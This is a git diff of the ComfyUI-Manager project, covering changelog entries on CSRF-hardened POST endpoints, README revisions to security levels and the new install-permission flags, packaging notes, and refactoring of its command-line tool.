Query-string parameters are preserved where they existed; only the HTTP
method changes.
- **`POST /v2/comfyui_manager/comfyui_switch_version` parameters moved from
query string to JSON body** (REST idiom + body-reading CSRF posture):
The handler now consumes `application/json` with the body shape
`{"ver": "...", "client_id": "...", "ui_id": "..."}` instead of reading
`?ver=...&client_id=...&ui_id=...` from the URL. Because body-reading
handlers are already covered by the CORS-preflight mechanism for
cross-origin protection, the Content-Type rejection gate introduced for
the other state-mutation endpoints is intentionally NOT applied here
(see `comfyui_manager/common/manager_security.py` module docstring).
The first-party JS client in `comfyui_manager/js/comfyui-manager.js`
was updated in the same change; third-party callers must migrate.
- **Config endpoints split into `GET` (read) + `POST` (write)**:
`/v2/manager/{db_mode, policy/update, channel_url_list}`. `GET` returns the
current value; `POST` accepts a JSON body `{"value": "..."}`. The prior
single-method form that accepted a `?value=...` query parameter on either
verb is retired.
- **`openapi.yaml` fully resynchronized** with the server: HTTP methods, the
dual-method splits above, request-body schemas for the new POST setters,
and the `TaskHistoryItem.params` field now match `manager_server.py`.
- **Legacy `restart(self)``restart(request)`**: parameter name corrected.
No behavioral change.
### Added
- **Server-push feature flag `extension.manager.supports_csrf_post`** registered
at startup, allowing ComfyUI-frontend (and other clients) to detect
CSRF-POST backend support as a semantic capability contract, without
relying on version string parsing. Manager versions prior to 4.2.1 do not
set the flag — clients should treat its absence as 'incompatible with
POST-only state-mutation endpoints'.
- **E2E test harness variants** for security-level and legacy-mode scenarios:
`tests/e2e/scripts/start_comfyui_legacy.sh`,
`tests/e2e/scripts/start_comfyui_permissive.sh`,
`tests/e2e/scripts/start_comfyui_strict.sh`. See
`docs/guide/GUIDE_E2E_TEST.md` for usage.
- **`COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS` environment variable**: when
set, skips the `manager_requirements.txt` reinstall path. Intended for E2E
environments where those dependencies are provisioned separately.
- **`TaskHistoryItem.params` field** (Pydantic + `openapi.yaml`): mirrors
`QueueTaskItem.params` so that task history retains the original request
payload (nullable when unavailable).
- **Automated endpoint coverage** — pytest E2E + Playwright specs covering all
39 unique `(method, path)` endpoints across `glob` and `legacy`. Coverage is
tracked in `reports/api-coverage-matrix.md` and
`reports/e2e_test_coverage.md`.
### Removed
- **Legacy per-operation POST routes consolidated into `POST /v2/manager/queue/batch`**:
`/v2/manager/queue/{install, uninstall, update, fix, disable, reinstall, abort_current}`.
The first-party JS client already uses `queue/batch`; only third-party
scripts that call the per-operation routes directly are affected.
- **`GET /manager/notice`** (v1, pip-install redirect banner).
`GET /v2/manager/notice` remains available.
### Migration notes
- Third-party clients calling `POST /v2/manager/queue/install` (and the other
per-operation queue routes) must switch to
`POST /v2/manager/queue/batch` with a body such as
`{"install": [{id, ver, ...}], "batch_id": "..."}`. See
`reports/endpoint_scenarios.md` for the full payload shape.
- Programmatic clients that posted to the CSRF-hardened endpoints with
`application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`
must switch to `application/json` (or omit the body entirely when the
endpoint takes its parameters from the query string).
- Clients that called any of the methods listed under **Changed → State-changing
endpoints** with `GET` must switch to `POST`. Query parameters remain valid.
- Clients that wrote configuration via
`GET /v2/manager/{db_mode, policy/update, channel_url_list}?value=...`
must switch to `POST` with JSON body `{"value": "..."}`.
- Third-party scripts calling
`POST /v2/comfyui_manager/comfyui_switch_version?ver=...&client_id=...&ui_id=...`
must switch to `POST` with `Content-Type: application/json` and body
`{"ver": "...", "client_id": "...", "ui_id": "..."}`. The query-string
form no longer works.
- Environments running at `security_level = high` can no longer run
`do_fix`. Either lower the security level (`normal`, `normal-`, or `weak`
as appropriate) or skip the fix operation.
- Environments running at `security_level = high` can no longer mutate
`db_mode`, `policy/update`, or `channel_url_list` via POST (returns `403`).
Lower the security level to `normal` or below to change configuration, or
perform the change from a trusted entry point. Read access via `GET` is
unaffected.
[4.2.2]: https://github.com/Comfy-Org/ComfyUI-Manager/compare/v4.2.1...v4.2.2
[4.2.1]: https://github.com/Comfy-Org/ComfyUI-Manager/compare/v4.1b6...v4.2.1
+47
View File
@@ -0,0 +1,47 @@
## Testing Changes
1. Activate the ComfyUI environment.
2. Build package locally after making changes.
```bash
# from inside the ComfyUI-Manager directory, with the ComfyUI environment activated
python -m build
```
3. Install the package locally in the ComfyUI environment.
```bash
# Uninstall existing package
pip uninstall comfyui-manager
# Install the locale package
pip install dist/comfyui-manager-*.whl
```
4. Start ComfyUI.
```bash
# after navigating to the ComfyUI directory
python main.py
```
## Manually Publish Test Version to PyPi
1. Set the `PYPI_TOKEN` environment variable in env file.
2. If manually publishing, you likely want to use a release candidate version, so set the version in [pyproject.toml](pyproject.toml) to something like `0.0.1rc1`.
3. Build the package.
```bash
python -m build
```
4. Upload the package to PyPi.
```bash
python -m twine upload dist/* --username __token__ --password $PYPI_TOKEN
```
5. View at https://pypi.org/project/comfyui-manager/
+14
View File
@@ -0,0 +1,14 @@
include comfyui_manager/js/*
include comfyui_manager/*.json
include comfyui_manager/glob/*
include LICENSE.txt
include README.md
include requirements.txt
include pyproject.toml
include custom-node-list.json
include extension-node-list.json
include extras.json
include github-stats.json
include model-list.json
include alter-list.json
include comfyui_manager/channels.list.template
+67 -165
View File
@@ -5,7 +5,7 @@
![menu](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/refs/heads/Main/ComfyUI-Manager/images/dialog.jpg)
## NOTICE
* V3.38: **Security patch** - Manager data migrated to protected path. See [Migration Guide](docs/en/v3.38-userdata-security-migration.md).
* V4.0: Modify the structure to be installable via pip instead of using git clone.
* V3.16: Support for `uv` has been added. Set `use_uv` in `config.ini`.
* V3.10: `double-click feature` is removed
* This feature has been moved to https://github.com/ltdrdata/comfyui-connection-helper
@@ -14,78 +14,26 @@
## Installation
### Installation[method1] (General installation method: ComfyUI-Manager only)
* When installing the latest ComfyUI, it will be automatically installed as a dependency, so manual installation is no longer necessary.
To install ComfyUI-Manager in addition to an existing installation of ComfyUI, you can follow the following steps:
* Manual installation of the nightly version:
* Clone to a temporary directory (**Note:** Do **not** clone into `ComfyUI/custom_nodes`.)
```
git clone https://github.com/Comfy-Org/ComfyUI-Manager
```
* Install via pip
```
cd ComfyUI-Manager
pip install .
```
1. Go to `ComfyUI/custom_nodes` dir in terminal (cmd)
2. `git clone https://github.com/ltdrdata/ComfyUI-Manager comfyui-manager`
3. Restart ComfyUI
### Installation[method2] (Installation for portable ComfyUI version: ComfyUI-Manager only)
1. install git
- https://git-scm.com/download/win
- standalone version
- select option: use windows default console window
2. Download [scripts/install-manager-for-portable-version.bat](https://github.com/ltdrdata/ComfyUI-Manager/raw/main/scripts/install-manager-for-portable-version.bat) into installed `"ComfyUI_windows_portable"` directory
- Don't click. Right-click the link and choose 'Save As...'
3. Double-click `install-manager-for-portable-version.bat` batch file
![portable-install](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/portable-install.jpg)
### Installation[method3] (Installation through comfy-cli: install ComfyUI and ComfyUI-Manager at once.)
> RECOMMENDED: comfy-cli provides various features to manage ComfyUI from the CLI.
* **prerequisite: python 3, git**
Windows:
```commandline
python -m venv venv
venv\Scripts\activate
pip install comfy-cli
comfy install
```
Linux/macOS:
```commandline
python -m venv venv
. venv/bin/activate
pip install comfy-cli
comfy install
```
* See also: https://github.com/Comfy-Org/comfy-cli
### Installation[method4] (Installation for Linux+venv: ComfyUI + ComfyUI-Manager)
## Front-end
To install ComfyUI with ComfyUI-Manager on Linux using a venv environment, you can follow these steps:
* **prerequisite: python-is-python3, python3-venv, git**
1. Download [scripts/install-comfyui-venv-linux.sh](https://github.com/ltdrdata/ComfyUI-Manager/raw/main/scripts/install-comfyui-venv-linux.sh) into empty install directory
- Don't click. Right-click the link and choose 'Save As...'
- ComfyUI will be installed in the subdirectory of the specified directory, and the directory will contain the generated executable script.
2. `chmod +x install-comfyui-venv-linux.sh`
3. `./install-comfyui-venv-linux.sh`
### Installation Precautions
* **DO**: `ComfyUI-Manager` files must be accurately located in the path `ComfyUI/custom_nodes/comfyui-manager`
* Installing in a compressed file format is not recommended.
* **DON'T**: Decompress directly into the `ComfyUI/custom_nodes` location, resulting in the Manager contents like `__init__.py` being placed directly in that directory.
* You have to remove all ComfyUI-Manager files from `ComfyUI/custom_nodes`
* **DON'T**: In a form where decompression occurs in a path such as `ComfyUI/custom_nodes/ComfyUI-Manager/ComfyUI-Manager`.
* **DON'T**: In a form where decompression occurs in a path such as `ComfyUI/custom_nodes/ComfyUI-Manager-main`.
* In such cases, `ComfyUI-Manager` may operate, but it won't be recognized within `ComfyUI-Manager`, and updates cannot be performed. It also poses the risk of duplicate installations. Remove it and install properly via `git clone` method.
You can execute ComfyUI by running either `./run_gpu.sh` or `./run_cpu.sh` depending on your system configuration.
## Colab Notebook
This repository provides Colab notebooks that allow you to install and use ComfyUI, including ComfyUI-Manager. To use ComfyUI, [click on this link](https://colab.research.google.com/github/ltdrdata/ComfyUI-Manager/blob/main/notebooks/comfyui_colab_with_manager.ipynb).
* Support for installing ComfyUI
* Support for basic installation of ComfyUI-Manager
* Support for automatically installing dependencies of custom nodes upon restarting Colab notebooks.
* The built-in front-end of ComfyUI-Manager is the legacy front-end. The front-end for ComfyUI-Manager is now provided via [ComfyUI Frontend](https://github.com/Comfy-Org/ComfyUI_frontend).
* To enable the legacy front-end, set the environment variable `ENABLE_LEGACY_COMFYUI_MANAGER_FRONT` to `true` before running.
## How To Use
@@ -141,27 +89,20 @@ This repository provides Colab notebooks that allow you to install and use Comfy
## Paths
Starting from V3.38, Manager uses a protected system path for enhanced security.
In `ComfyUI-Manager` V4.0.3b4 and later, configuration files and dynamically generated files are located under `<USER_DIRECTORY>/__manager/`.
* <USER_DIRECTORY>
* If executed without any options, the path defaults to ComfyUI/user.
* It can be set using --user-directory <USER_DIRECTORY>.
| ComfyUI Version | Manager Path |
|-----------------|--------------|
| v0.3.76+ (with System User API) | `<USER_DIRECTORY>/__manager/` |
| Older versions | `<USER_DIRECTORY>/default/ComfyUI-Manager/` |
* Basic config files: `config.ini`
* Configurable channel lists: `channels.list`
* Configurable pip overrides: `pip_overrides.json`
* Configurable pip blacklist: `pip_blacklist.list`
* Configurable pip auto fix: `pip_auto_fix.list`
* Saved snapshot files: `snapshots/`
* Startup script files: `startup-scripts/`
* Component files: `components/`
> **Note**: See [Migration Guide](docs/en/v3.38-userdata-security-migration.md) for upgrade details.
* Basic config files: `<USER_DIRECTORY>/__manager/config.ini`
* Configurable channel lists: `<USER_DIRECTORY>/__manager/channels.ini`
* Configurable pip overrides: `<USER_DIRECTORY>/__manager/pip_overrides.json`
* Configurable pip blacklist: `<USER_DIRECTORY>/__manager/pip_blacklist.list`
* Configurable pip auto fix: `<USER_DIRECTORY>/__manager/pip_auto_fix.list`
* Saved snapshot files: `<USER_DIRECTORY>/__manager/snapshots`
* Startup script files: `<USER_DIRECTORY>/__manager/startup-scripts`
* Component files: `<USER_DIRECTORY>/__manager/components`
## `extra_model_paths.yaml` Configuration
@@ -174,12 +115,12 @@ The following settings are applied based on the section marked as `is_default`.
## Snapshot-Manager
* When you press `Save snapshot` or use `Update All` on `Manager Menu`, the current installation status snapshot is saved.
* Snapshot file dir: `<USER_DIRECTORY>/default/ComfyUI-Manager/snapshots`
* Snapshot file dir: `<USER_DIRECTORY>/__manager/snapshots`
* You can rename snapshot file.
* Press the "Restore" button to revert to the installation status of the respective snapshot.
* However, for custom nodes not managed by Git, snapshot support is incomplete.
* When you press `Restore`, it will take effect on the next ComfyUI startup.
* The selected snapshot file is saved in `<USER_DIRECTORY>/default/ComfyUI-Manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
* The selected snapshot file is saved in `<USER_DIRECTORY>/__manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
![model-install-dialog](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/snapshot.jpg)
@@ -228,12 +169,12 @@ The following settings are applied based on the section marked as `is_default`.
}
```
* `<current timestamp>` Ensure that the timestamp is always unique.
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/__manager/components`.
* `<component name>`: The name should be in the format `<prefix>::<node name>`.
* `<component node data>`: In the node data of the group node.
* `<version>`: Only two formats are allowed: `major.minor.patch` or `major.minor`. (e.g. `1.0`, `2.2.1`)
* `<datetime>`: Saved time
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/__manager/components`.
* `<category>`: If there is neither a category nor a packname, it is saved in the components category.
```
"version":"1.0",
@@ -273,14 +214,17 @@ The following settings are applied based on the section marked as `is_default`.
model_download_by_agent = <When downloading models, use an agent instead of torchvision_download_url.>
downgrade_blacklist = <Set a list of packages to prevent downgrades. List them separated by commas.>
security_level = <Set the security level => strong|normal|normal-|weak>
allow_git_url_install = <Allow installing custom nodes from arbitrary git URLs. Independent of security_level. Default: False>
allow_pip_install = <Allow installing arbitrary pip packages via the Manager. Independent of security_level. Default: False>
always_lazy_install = <Whether to perform dependency installation on restart even in environments other than Windows.>
network_mode = <Set the network mode => public|private|offline>
network_mode = <Set the network mode => public|private|offline|personal_cloud>
```
* network_mode:
- public: An environment that uses a typical public network.
- private: An environment that uses a closed network, where a private node DB is configured via `channel_url`. (Uses cache if available)
- offline: An environment that does not use any external connections when using an offline network. (Uses cache if available)
- personal_cloud: Applies relaxed security features in cloud environments such as Google Colab or Runpod, where strong security is not required.
## Additional Feature
@@ -362,7 +306,7 @@ When you run the `scan.sh` script:
## Troubleshooting
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/default/ComfyUI-Manager/config.ini` file that is generated.
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/__manager/config.ini` file that is generated.
* If updating ComfyUI-Manager itself fails, please go to the **ComfyUI-Manager** directory and execute the command `git update-ref refs/remotes/origin/main a361cc1 && git fetch --all && git pull`.
* If you encounter the error message `Overlapped Object has pending operation at deallocation on ComfyUI Manager load` under Windows
* Edit `config.ini` file: add `windows_selector_event_loop_policy = True`
@@ -371,91 +315,49 @@ When you run the `scan.sh` script:
## Security policy
* Edit `config.ini` file: add `security_level = <LEVEL>`
* `strong`
* doesn't allow `high` and `middle` level risky feature
* `normal`
* doesn't allow `high` level risky feature
* `middle` level risky feature is available
* `normal-`
* doesn't allow `high` level risky feature if `--listen` is specified and not starts with `127.`
* `middle` level risky feature is available
* `weak`
* all feature is available
* `high` level risky features
* Downloading models that are not in `.safetensors` format and not
registered in the `default channel` model list
* NOTE: `Install via git url`, `pip install`, and installation of custom nodes
not registered in the `default channel` are **no longer governed by
`security_level`** — they are governed by the dedicated install flags
described below.
* `middle` level risky features
* Uninstall/Update
* Installation of custom nodes registered in the `default channel`.
* Fix custom nodes
* Restore/Remove Snapshot
* Restart
* `low` level risky features
* Update ComfyUI
### Dedicated install flags: `allow_git_url_install` / `allow_pip_install`
The security settings are applied based on whether the ComfyUI server's listener is non-local and whether the network mode is set to `personal_cloud`.
The two arbitrary-install surfaces are governed by dedicated boolean keys in
`config.ini` (`[default]` section), fully **decoupled** from `security_level`:
* **non-local**: When the server is launched with `--listen` and is bound to a network range other than the local `127.` range, allowing remote IP access.
* **personal\_cloud**: When the `network_mode` is set to `personal_cloud`.
* `allow_git_url_install`
* governs `Install via Git URL` (`POST /customnode/install/git_url`) **and**
the unknown-git-URL arm of the batch install queue
(`POST /manager/queue/install`, including reinstall delegation) — i.e.
installing any custom node from a git URL that is not registered in the
`default channel` catalog
* on the **batch queue path**, the flag is **necessary but not
sufficient**: the queue's normal `security_level` entry gate (`middle`)
must ALSO pass — at `security_level = strong`, batch unknown-URL
installs stay denied even with the flag set to `true` (only the direct
`Install via Git URL` endpoint is fully independent of `security_level`)
* covers the **entire install transaction** it starts, including the
pack's transitive dependency pip installs
* `allow_pip_install`
* governs **only** the standalone `pip install` feature
(`POST /customnode/install/pip`)
Key properties:
### Risky Level Table
* **Decoupled from `security_level` (replace, not and)** — on the two
**direct endpoints** (`Install via Git URL` and `pip install`),
`security_level` no longer has any effect in either direction: a strict
level cannot deny them when the flag is `true`, and a weak level cannot
allow them when the flag is `false`. (The batch queue path keeps its
`security_level` entry gate in ADDITION to the flag — see the scope bullet
above.) Every other gated feature remains governed by `security_level` as
described above.
* **Loopback only** — the flags take effect **only** when the server listens
on a loopback address (e.g. `--listen 127.0.0.1`). On a non-loopback
listener these surfaces stay denied regardless of the flags; the flags
never widen the exposure of a public deployment.
* **Default deny / explicit opt-in** — both flags default to `false`. Only
the case-insensitive string `true` enables a flag; a missing or malformed
key reads as `false`.
| Risky Level | features |
|-------------|---------------------------------------------------------------------------------------------------------------------------------------|
| high+ | * **Switch ComfyUI version**<BR>* **Fix nodepack** |
| high | _(no features at this tier — `Fix nodepack` promoted to `high+` to align the enforcement gate with the `SECURITY_MESSAGE_HIGH_P` log text)_ |
| middle+ | * Uninstall/Update<BR>* Installation of nodepack registered in the `default channel`.<BR>* Restore/Remove Snapshot<BR>* Install model |
| middle | * Restart |
| low | * Update ComfyUI |
To opt in, edit `config.ini`:
* **Note**: `Install via git url` and `pip install` are no longer gated by `security_level` — they moved to the dedicated flags `allow_git_url_install` / `allow_pip_install`. Installation of a nodepack registered not in the `default channel` likewise requires `allow_git_url_install` (in addition to the `middle+` level preconditions) instead of a `high+` security level. See the [Dedicated install flags](#dedicated-install-flags-allow_git_url_install--allow_pip_install) subsection below.
```ini
[default]
allow_git_url_install = true
allow_pip_install = true
```
Changes take effect after a **restart** (no hot reload).
### Security Level Table
> **Migration note**: there is no automatic migration from `security_level`.
> If you previously relied on `security_level = weak` (or `normal-`) to use
> install-via-git-URL / pip install, you must opt in explicitly with the flags
> above. See `CHANGELOG.md` for details, including a behavior note for
> outdated ComfyUI deployments.
| Security Level | local | non-local (personal_cloud) | non-local (not personal_cloud) |
|----------------|--------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|--------------------------------|
| strong | * Only `weak` level risky features are allowed | * Only `weak` level risky features are allowed | * Only `weak` level risky features are allowed |
| normal | * `high+` and `high` level risky features are not allowed<BR>* `middle+` and `middle` level risky features are available | * `high+` and `high` level risky features are not allowed<BR>* `middle+` and `middle` level risky features are available | * `high+`, `high` and `middle+` level risky features are not allowed<BR>* `middle` level risky features are available
| normal- | * All features are available | * `high+` and `high` level risky features are not allowed<BR>* `middle+` and `middle` level risky features are available | * `high+`, `high` and `middle+` level risky features are not allowed<BR>* `middle` level risky features are available
| weak | * All features are available | * All features are available | * `high+` and `middle+` level risky features are not allowed<BR>* `high`, `middle` and `low` level risky features are available
### Dedicated install flags (`allow_git_url_install` / `allow_pip_install`)
The `Install via git url` and `pip install` features are governed by two dedicated `config.ini` flags instead of `security_level`:
* `allow_git_url_install`: Allows installing custom nodes from arbitrary git URLs.
* `allow_pip_install`: Allows installing arbitrary pip packages via the Manager.
* Both flags default to `False` — secure by default. A missing or invalid value (anything other than `true`, case-insensitive) is read as `False`.
* These flags fully **replace** `security_level` for these two features. `security_level` no longer affects them in either direction: a strict security level cannot deny them when the flag is `true`, and a weak security level cannot allow them when the flag is `false`.
* The network-position rule still applies independently: even with a flag enabled, the feature is denied when the server listener is **non-local**, unless `network_mode = personal_cloud`.
* Batch installs of git URLs not registered in the `default channel` are also gated by `allow_git_url_install`, and additionally require the normal batch-install preconditions (the `middle+` rules in the tables above). Unknown pip packages in batch installs remain blocked unconditionally — the flags do not open them.
* Changes to these flags require a restart of ComfyUI to take effect.
* Migration note: if you previously relied on `security_level = weak` or `normal-` to use these features, you must now opt in explicitly by setting the flags in the `[default]` section of `config.ini`. The flags are not auto-seeded from your `security_level`.
# Disclaimer
-25
View File
@@ -1,25 +0,0 @@
"""
This file is the entry point for the ComfyUI-Manager package, handling CLI-only mode and initial setup.
"""
import os
import sys
cli_mode_flag = os.path.join(os.path.dirname(__file__), '.enable-cli-only-mode')
if not os.path.exists(cli_mode_flag):
sys.path.append(os.path.join(os.path.dirname(__file__), "glob"))
import manager_server # noqa: F401
import share_3rdparty # noqa: F401
import cm_global
if not cm_global.disable_front and not 'DISABLE_COMFYUI_MANAGER_FRONT' in os.environ:
WEB_DIRECTORY = "js"
else:
print("\n[ComfyUI-Manager] !! cli-only-mode is enabled !!\n")
NODE_CLASS_MAPPINGS = {}
__all__ = ['NODE_CLASS_MAPPINGS']
-6
View File
@@ -1,6 +0,0 @@
default::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
recent::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/new
legacy::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/legacy
forked::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/forked
dev::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/dev
tutorial::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/tutorial
-2
View File
@@ -1,2 +0,0 @@
#!/bin/bash
python cm-cli.py $*
+3
View File
@@ -0,0 +1,3 @@
def main():
from .__main__ import main as _main
_main()
+403 -105
View File
@@ -11,35 +11,33 @@ import typer
from rich import print
from typing_extensions import List, Annotated
import re
import git
import importlib
sys.path.append(os.path.dirname(__file__))
sys.path.append(os.path.join(os.path.dirname(__file__), "glob"))
import manager_util
# read env vars
# COMFYUI_FOLDERS_BASE_PATH is not required in cm-cli.py
# `comfy_path` should be resolved before importing manager_core
comfy_path = os.environ.get('COMFYUI_PATH')
if comfy_path is None:
try:
import folder_paths
comfy_path = os.path.join(os.path.dirname(folder_paths.__file__))
except:
print("\n[bold yellow]WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.[/bold yellow]", file=sys.stderr)
comfy_path = os.path.abspath(os.path.join(manager_util.comfyui_manager_path, '..', '..'))
# This should be placed here
comfy_path = os.environ.get('COMFYUI_PATH')
if comfy_path is None:
print("[bold red]cm-cli: environment variable 'COMFYUI_PATH' is not specified.[/bold red]")
exit(-1)
sys.path.append(comfy_path)
if not os.path.exists(os.path.join(comfy_path, 'folder_paths.py')):
print("[bold red]cm-cli: '{comfy_path}' is not a valid 'COMFYUI_PATH' location.[/bold red]")
exit(-1)
import utils.extra_config
import cm_global
import manager_core as core
from manager_core import unified_manager
import cnr_utils
from comfyui_manager.common import manager_util
from comfyui_manager.common import cm_global
from comfyui_manager.legacy import manager_core as core
from comfyui_manager.common import context
from comfyui_manager.legacy.manager_core import unified_manager
from comfyui_manager.common import cnr_utils
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
@@ -63,10 +61,11 @@ if os.path.exists(os.path.join(manager_util.comfyui_manager_path, "pip_blacklist
def check_comfyui_hash():
try:
repo = git.Repo(comfy_path)
core.comfy_ui_revision = len(list(repo.iter_commits('HEAD')))
core.comfy_ui_commit_datetime = repo.head.commit.committed_datetime
except:
from comfyui_manager.common.git_compat import open_repo
with open_repo(comfy_path) as repo:
core.comfy_ui_revision = repo.iter_commits_count()
core.comfy_ui_commit_datetime = repo.head_commit_datetime
except Exception:
print('[bold yellow]INFO: Frozen ComfyUI mode.[/bold yellow]')
core.comfy_ui_revision = 0
core.comfy_ui_commit_datetime = 0
@@ -82,7 +81,7 @@ def read_downgrade_blacklist():
try:
import configparser
config = configparser.ConfigParser(strict=False)
config.read(core.manager_config.path)
config.read(context.manager_config_path)
default_conf = config['default']
if 'downgrade_blacklist' in default_conf:
@@ -90,7 +89,7 @@ def read_downgrade_blacklist():
items = [x.strip() for x in items if x != '']
cm_global.pip_downgrade_blacklist += items
cm_global.pip_downgrade_blacklist = list(set(cm_global.pip_downgrade_blacklist))
except:
except Exception:
pass
@@ -105,7 +104,7 @@ class Ctx:
self.no_deps = False
self.mode = 'cache'
self.user_directory = None
self.custom_nodes_paths = [os.path.join(core.comfy_base_path, 'custom_nodes')]
self.custom_nodes_paths = [os.path.join(context.comfy_base_path, 'custom_nodes')]
self.manager_files_directory = os.path.dirname(__file__)
if Ctx.folder_paths is None:
@@ -143,14 +142,14 @@ class Ctx:
if os.path.exists(extra_model_paths_yaml):
utils.extra_config.load_extra_path_config(extra_model_paths_yaml)
core.update_user_directory(user_directory)
context.update_user_directory(user_directory)
if os.path.exists(core.manager_pip_overrides_path):
with open(core.manager_pip_overrides_path, 'r', encoding="UTF-8", errors="ignore") as json_file:
if os.path.exists(context.manager_pip_overrides_path):
with open(context.manager_pip_overrides_path, 'r', encoding="UTF-8", errors="ignore") as json_file:
cm_global.pip_overrides = json.load(json_file)
if os.path.exists(core.manager_pip_blacklist_path):
with open(core.manager_pip_blacklist_path, 'r', encoding="UTF-8", errors="ignore") as f:
if os.path.exists(context.manager_pip_blacklist_path):
with open(context.manager_pip_blacklist_path, 'r', encoding="UTF-8", errors="ignore") as f:
for x in f.readlines():
y = x.strip()
if y != '':
@@ -163,15 +162,15 @@ class Ctx:
@staticmethod
def get_startup_scripts_path():
return os.path.join(core.manager_startup_script_path, "install-scripts.txt")
return os.path.join(context.manager_startup_script_path, "install-scripts.txt")
@staticmethod
def get_restore_snapshot_path():
return os.path.join(core.manager_startup_script_path, "restore-snapshot.json")
return os.path.join(context.manager_startup_script_path, "restore-snapshot.json")
@staticmethod
def get_snapshot_path():
return core.manager_snapshot_path
return context.manager_snapshot_path
@staticmethod
def get_custom_nodes_paths():
@@ -184,18 +183,22 @@ class Ctx:
cmd_ctx = Ctx()
class NodeInstallError(Exception):
"""Raised when a node installation fails and the caller requested failure propagation."""
pass
def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
exit_on_fail = kwargs.get('exit_on_fail', False)
print(f"install_node exit on fail:{exit_on_fail}...")
raise_on_fail = kwargs.get('raise_on_fail', False)
if core.is_valid_url(node_spec_str):
# install via urls
res = asyncio.run(core.gitclone_install(node_spec_str, no_deps=cmd_ctx.no_deps))
if not res.result:
print(res.msg)
print(f"[bold red]ERROR: An error occurred while installing '{node_spec_str}'.[/bold red]")
if exit_on_fail:
sys.exit(1)
if raise_on_fail:
raise NodeInstallError(node_spec_str)
else:
print(f"{cnt_msg} [INSTALLED] {node_spec_str:50}")
else:
@@ -230,17 +233,34 @@ def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
print("")
else:
print(f"[bold red]ERROR: An error occurred while installing '{node_name}'.\n{res.msg}[/bold red]")
if exit_on_fail:
sys.exit(1)
if raise_on_fail:
raise NodeInstallError(node_name)
def reinstall_node(node_spec_str, is_all=False, cnt_msg=''):
node_spec = unified_manager.resolve_node_spec(node_spec_str)
if core.is_valid_url(node_spec_str):
# URL-based: resolve_node_spec returns the full URL as node_name,
# but internal dicts are keyed by repo basename or cnr_id.
url = node_spec_str.rstrip('/')
cnr = unified_manager.get_cnr_by_repo(url)
if cnr:
node_id = cnr['id']
unified_manager.unified_uninstall(node_id, False)
unified_manager.purge_node_state(node_id)
else:
repo_name = os.path.splitext(os.path.basename(url))[0]
unified_manager.unified_uninstall(repo_name, True)
unified_manager.purge_node_state(repo_name)
node_name, version_spec, _ = node_spec
install_node(node_spec_str, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
else:
node_spec = unified_manager.resolve_node_spec(node_spec_str)
node_name, version_spec, _ = node_spec
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg)
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
unified_manager.purge_node_state(node_name)
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
def fix_node(node_spec_str, is_all=False, cnt_msg=''):
@@ -438,8 +458,11 @@ def show_list(kind, simple=False):
flag = kind in ['all', 'cnr', 'installed', 'enabled']
for k, v in unified_manager.active_nodes.items():
if flag:
cnr = unified_manager.cnr_map[k]
processed[k] = "[ ENABLED ] ", cnr['name'], k, cnr['publisher']['name'], v[0]
cnr = unified_manager.cnr_map.get(k)
if cnr:
processed[k] = "[ ENABLED ] ", cnr['name'], k, cnr['publisher']['name'], v[0]
else:
processed[k] = None
else:
processed[k] = None
@@ -459,8 +482,11 @@ def show_list(kind, simple=False):
continue
if flag:
cnr = unified_manager.cnr_map[k]
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], ", ".join(list(v.keys()))
cnr = unified_manager.cnr_map.get(k) # NOTE: can this be None if removed from CNR after installed
if cnr:
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], ", ".join(list(v.keys()))
else:
processed[k] = None
else:
processed[k] = None
@@ -469,8 +495,11 @@ def show_list(kind, simple=False):
continue
if flag:
cnr = unified_manager.cnr_map[k]
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], 'nightly'
cnr = unified_manager.cnr_map.get(k)
if cnr:
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], 'nightly'
else:
processed[k] = None
else:
processed[k] = None
@@ -490,9 +519,12 @@ def show_list(kind, simple=False):
continue
if flag:
cnr = unified_manager.cnr_map[k]
ver_spec = v['latest_version']['version'] if 'latest_version' in v else '0.0.0'
